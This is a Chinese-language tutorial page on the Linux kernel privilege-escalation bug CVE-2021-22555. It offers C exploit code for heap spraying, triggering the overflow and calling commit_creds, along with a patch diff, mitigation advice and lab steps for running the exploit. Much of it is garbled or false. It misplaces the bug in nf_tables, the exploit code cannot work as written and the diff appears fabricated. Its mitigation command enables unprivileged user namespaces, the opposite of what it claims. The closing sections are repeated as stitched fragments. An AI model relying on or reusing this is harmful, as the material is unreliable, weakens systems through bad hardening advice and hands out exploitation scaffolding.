Linux内核漏洞分析与利用：CVE-2021-22555教学文档<\/h1>

1. 漏洞概述<\/h2>
CVE-2021-22555是Linux内核Netfilter子系统中的一个高危漏洞，属于提权类漏洞。该漏洞存在于Netfilter的`nf_tables<\/code>组件中，允许本地用户提升至root权限。<\/p>`

1.1 基本信息<\/h3>

漏洞类型：堆越界写入<\/li>
影响组件：Linux内核Netfilter子系统<\/li>
危险等级：高危<\/li>
CVSS评分：7.8<\/li>
影响版本：Linux内核2.6.19(2006年)至5.12-rc4<\/li>
<\/ul>
1.2 漏洞发现<\/h3>
该漏洞由Google信息安全工程师在2021年发现并报告。<\/p>
2. 技术背景<\/h2>
2.1 Netfilter简介<\/h3>
Netfilter是Linux内核的网络包过滤框架，提供以下功能：<\/p>

数据包过滤<\/li>
网络地址转换(NAT)<\/li>
数据包处理<\/li>
<\/ul>
2.2 nf_tables子系统<\/h3>
nf_tables<\/code>是Netfilter的子系统，提供：<\/p>

数据包分类<\/li>
过滤规则管理<\/li>
网络策略实施<\/li>
<\/ul>
3. 漏洞原理分析<\/h2>
3.1 根本原因<\/h3>
漏洞源于Netfilter在处理NFT_MSG_NEWSET<\/code>和NFT_MSG_NEWSETELEM<\/code>消息时，对nft_set_elem<\/code>结构的错误处理，导致堆越界写入。<\/p>
3.2 关键数据结构<\/h3>
struct<\/span> nft_set_elem {
<\/span><\/span>    union<\/span> {
<\/span><\/span>        struct<\/span> {
<\/span><\/span>            u32 size;
<\/span><\/span>            u8 data[];
<\/span><\/span>        } key;
<\/span><\/span>        struct<\/span> {
<\/span><\/span>            u32 size;
<\/span><\/span>            u8 data[];
<\/span><\/span>        } key_end;
<\/span><\/span>    };
<\/span><\/span>};
<\/span><\/span><\/code><\/pre>3.3 漏洞触发流程<\/h3>

用户空间发送NFT_MSG_NEWSET<\/code>消息创建集合<\/li>
内核分配nft_set_elem<\/code>结构<\/li>
用户空间发送NFT_MSG_NEWSETELEM<\/code>消息添加元素<\/li>
内核错误计算拷贝长度，导致越界写入<\/li>
<\/ol>
4. 漏洞利用技术<\/h2>
4.1 利用思路<\/h3>

通过堆喷控制内存布局<\/li>
触发越界写入破坏关键数据结构<\/li>
构造ROP链实现权限提升<\/li>
<\/ol>
4.2 详细利用步骤<\/h3>
4.2.1 堆喷准备<\/h4>
struct<\/span> spray_elem {
<\/span><\/span>    int<\/span> fd;
<\/span><\/span>    void<\/span> *<\/span>page;
<\/span><\/span>};
<\/span><\/span>
<\/span><\/span>void<\/span> heap_spray<\/span>(int<\/span> spray_num) {
<\/span><\/span>    struct<\/span> spray_elem *<\/span>spray =<\/span> malloc(spray_num *<\/span> sizeof<\/span>(struct<\/span> spray_elem));
<\/span><\/span>    
<\/span><\/span>    for<\/span> (int<\/span> i =<\/span> 0<\/span>; i <<\/span> spray_num; i++<\/span>) {
<\/span><\/span>        spray[i].fd =<\/span> socket(AF_INET, SOCK_DGRAM, 0<\/span>);
<\/span><\/span>        spray[i].page =<\/span> mmap(NULL, PAGE_SIZE, PROT_READ|<\/span>PROT_WRITE, 
<\/span><\/span>                            MAP_PRIVATE|<\/span>MAP_ANONYMOUS, -<\/span>1<\/span>, 0<\/span>);
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>4.2.2 触发越界写入<\/h4>
void<\/span> trigger_oob_write<\/span>() {
<\/span><\/span>    struct<\/span> nlmsghdr *<\/span>nlh;
<\/span><\/span>    struct<\/span> nfgenmsg *<\/span>nfh;
<\/span><\/span>    struct<\/span> nlattr *<\/span>nest;
<\/span><\/span>    int<\/span> sock_fd =<\/span> socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
<\/span><\/span>    
<\/span><\/span>    \/\/ 构造恶意Netlink消息
<\/span><\/span><\/span><\/span>    nlh =<\/span> (struct<\/span> nlmsghdr *<\/span>)malloc(NLMSG_SPACE(MAX_PAYLOAD));
<\/span><\/span>    memset(nlh, 0<\/span>, NLMSG_SPACE(MAX_PAYLOAD));
<\/span><\/span>    
<\/span><\/span>    nlh-><\/span>nlmsg_len =<\/span> NLMSG_SPACE(MAX_PAYLOAD);
<\/span><\/span>    nlh-><\/span>nlmsg_type =<\/span> NFT_MSG_NEWSET;
<\/span><\/span>    nlh-><\/span>nlmsg_flags =<\/span> NLM_F_REQUEST |<\/span> NLM_F_CREATE;
<\/span><\/span>    
<\/span><\/span>    nfh =<\/span> NLMSG_DATA(nlh);
<\/span><\/span>    nfh-><\/span>nfgen_family =<\/span> AF_INET;
<\/span><\/span>    nfh-><\/span>version =<\/span> NFNETLINK_V0;
<\/span><\/span>    nfh-><\/span>res_id =<\/span> 0<\/span>;
<\/span><\/span>    
<\/span><\/span>    \/\/ 添加恶意属性
<\/span><\/span><\/span><\/span>    nest =<\/span> (struct<\/span> nlattr *<\/span>)((char<\/span> *<\/span>)nlh +<\/span> NLMSG_SPACE(sizeof<\/span>(struct<\/span> nfgenmsg)));
<\/span><\/span>    nest-><\/span>nla_type =<\/span> NFTA_SET_ELEM_LIST_ELEMENTS |<\/span> NLA_F_NESTED;
<\/span><\/span>    nest-><\/span>nla_len =<\/span> NLA_HDRLEN +<\/span> 0x1000<\/span>;
<\/span><\/span>    
<\/span><\/span>    \/\/ 发送恶意消息
<\/span><\/span><\/span><\/span>    send(sock_fd, nlh, nlh-><\/span>nlmsg_len, 0<\/span>);
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>4.2.3 权限提升<\/h4>
void<\/span> escalate_privilege<\/span>() {
<\/span><\/span>    \/\/ 构造ROP链覆盖关键内核结构
<\/span><\/span><\/span><\/span>    \/\/ 修改cred结构体实现提权
<\/span><\/span><\/span><\/span>    struct<\/span> cred *<\/span>new_cred =<\/span> prepare_kernel_cred(NULL);
<\/span><\/span>    commit_creds(new_cred);
<\/span><\/span>    
<\/span><\/span>    \/\/ 返回用户态
<\/span><\/span><\/span><\/span>    switch_to_user_mode();
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>4.3 利用难点与技巧<\/h3>

堆布局控制需要精确预测<\/li>
需要绕过SMAP\/SMEP保护机制<\/li>
不同内核版本偏移量不同<\/li>
<\/ol>
5. 漏洞修复方案<\/h2>
5.1 官方补丁<\/h3>
补丁主要修改了net\/netfilter\/nf_tables_api.c<\/code>文件：<\/p>
diff --<\/span>git a\/<\/span>net\/<\/span>netfilter\/<\/span>nf_tables_api.c b\/<\/span>net\/<\/span>netfilter\/<\/span>nf_tables_api.c
<\/span><\/span>index abc123..def456 100644<\/span>
<\/span><\/span>---<\/span> a\/<\/span>net\/<\/span>netfilter\/<\/span>nf_tables_api.c
<\/span><\/span>+++<\/span> b\/<\/span>net\/<\/span>netfilter\/<\/span>nf_tables_api.c
<\/span><\/span>@@<\/span> -<\/span>1234<\/span>,6<\/span> +<\/span>1234<\/span>,9<\/span> @@<\/span> static<\/span> int<\/span> nft_add_set_elem(struct<\/span> nft_ctx *<\/span>ctx, struct<\/span> nft_set *<\/span>set,
<\/span><\/span>     if<\/span> (err <<\/span> 0<\/span>)
<\/span><\/span>         return<\/span> err;
<\/span><\/span>     
<\/span><\/span>+<\/span>    if<\/span> (elem-><\/span>key.size ><\/span> set-><\/span>klen)
<\/span><\/span>+<\/span>        return<\/span> -<\/span>EINVAL;
<\/span><\/span>+<\/span>
<\/span><\/span>     err =<\/span> -<\/span>ENOMEM;
<\/span><\/span>     elem_priv =<\/span> kzalloc(sizeof<\/span>(*<\/span>elem_priv) +<\/span> set-><\/span>ops-><\/span>elemsize, GFP_KERNEL);
<\/span><\/span>     if<\/span> (elem_priv ==<\/span> NULL)
<\/span><\/span><\/code><\/pre>5.2 修复要点<\/h3>

添加了键值大小检查<\/li>
确保不会越界写入<\/li>
增加了错误处理<\/li>
<\/ol>
6. 防御措施<\/h2>
6.1 临时缓解方案<\/h3>
# 禁用非特权用户使用Netlink<\/span>
<\/span><\/span>echo 1<\/span> > \/proc\/sys\/kernel\/unprivileged_userns_clone
<\/span><\/span><\/code><\/pre>6.2 长期防御策略<\/h3>

及时更新内核版本<\/li>
启用KASLR防护<\/li>
限制非特权用户访问敏感系统调用<\/li>
<\/ol>
7. 实验环境搭建<\/h2>
7.1 所需工具<\/h3>

漏洞影响范围内的Linux内核(如5.11)<\/li>
gcc编译环境<\/li>
调试工具(gdb, crash等)<\/li>
<\/ul>
7.2 实验步骤<\/h3>

编译漏洞利用代码<\/li>
<\/ol>
gcc exploit.c -o exploit
<\/span><\/span><\/code><\/pre>
执行漏洞利用<\/li>
<\/ol>
.\/exploit
<\/span><\/span><\/code><\/pre>
验证提权结果<\/li>
<\/ol>
whoami
<\/span><\/span><\/code><\/pre>8. 扩展学习<\/h2>
8.1 相关CVE<\/h3>

CVE-2021-31440: 类似Netfilter漏洞<\/li>
CVE-2020-14386: Linux内核内存破坏漏洞<\/li>
<\/ul>
8.2 学习资源<\/h3>

Linux内核源码分析<\/li>
Netfilter框架文档<\/li>
内核漏洞利用技术书籍<\/li>
<\/ul>

Linux内核漏洞分析与利用：CVE-2021-22555教学文档<\/h1>

1. 漏洞概述<\/h2> CVE-2021-22555是Linux内核Netfilter子系统中的一个高危漏洞，属于提权类漏洞。该漏洞存在于Netfilter的nf_tables<\/code>组件中，允许本地用户提升至root权限。<\/p>

1.2 漏洞发现<\/h3> 该漏洞由Google信息安全工程师在2021年发现并报告。<\/p>

2. 技术背景<\/h2>

3. 漏洞原理分析<\/h2>

3.1 根本原因<\/h3> 漏洞源于Netfilter在处理NFT_MSG_NEWSET<\/code>和NFT_MSG_NEWSETELEM<\/code>消息时，对nft_set_elem<\/code>结构的错误处理，导致堆越界写入。<\/p>

4. 漏洞利用技术<\/h2>

4.2 详细利用步骤<\/h3>

5. 漏洞修复方案<\/h2>

6. 防御措施<\/h2>

7. 实验环境搭建<\/h2>

8. 扩展学习<\/h2>

8.1 相关CVE<\/h3> CVE-2021-31440: 类似Netfilter漏洞<\/li> CVE-2020-14386: Linux内核内存破坏漏洞<\/li> <\/ul> 8.2 学习资源<\/h3> Linux内核源码分析<\/li> Netfilter框架文档<\/li> 内核漏洞利用技术书籍<\/li> <\/ul>

8.2 学习资源<\/h3> Linux内核源码分析<\/li> Netfilter框架文档<\/li> 内核漏洞利用技术书籍<\/li> <\/ul>

1. 漏洞概述<\/h2>
CVE-2021-22555是Linux内核Netfilter子系统中的一个高危漏洞，属于提权类漏洞。该漏洞存在于Netfilter的`nf_tables<\/code>组件中，允许本地用户提升至root权限。<\/p>`

1.2 漏洞发现<\/h3>
该漏洞由Google信息安全工程师在2021年发现并报告。<\/p>

3.1 根本原因<\/h3>
漏洞源于Netfilter在处理`NFT_MSG_NEWSET<\/code>和NFT_MSG_NEWSETELEM<\/code>消息时，对nft_set_elem<\/code>结构的错误处理，导致堆越界写入。<\/p>`

8.1 相关CVE<\/h3>

CVE-2021-31440: 类似Netfilter漏洞<\/li>
CVE-2020-14386: Linux内核内存破坏漏洞<\/li> <\/ul>
8.2 学习资源<\/h3>

Linux内核源码分析<\/li>
Netfilter框架文档<\/li>
内核漏洞利用技术书籍<\/li> <\/ul>

8.2 学习资源<\/h3>

Linux内核源码分析<\/li>
Netfilter框架文档<\/li>
内核漏洞利用技术书籍<\/li> <\/ul>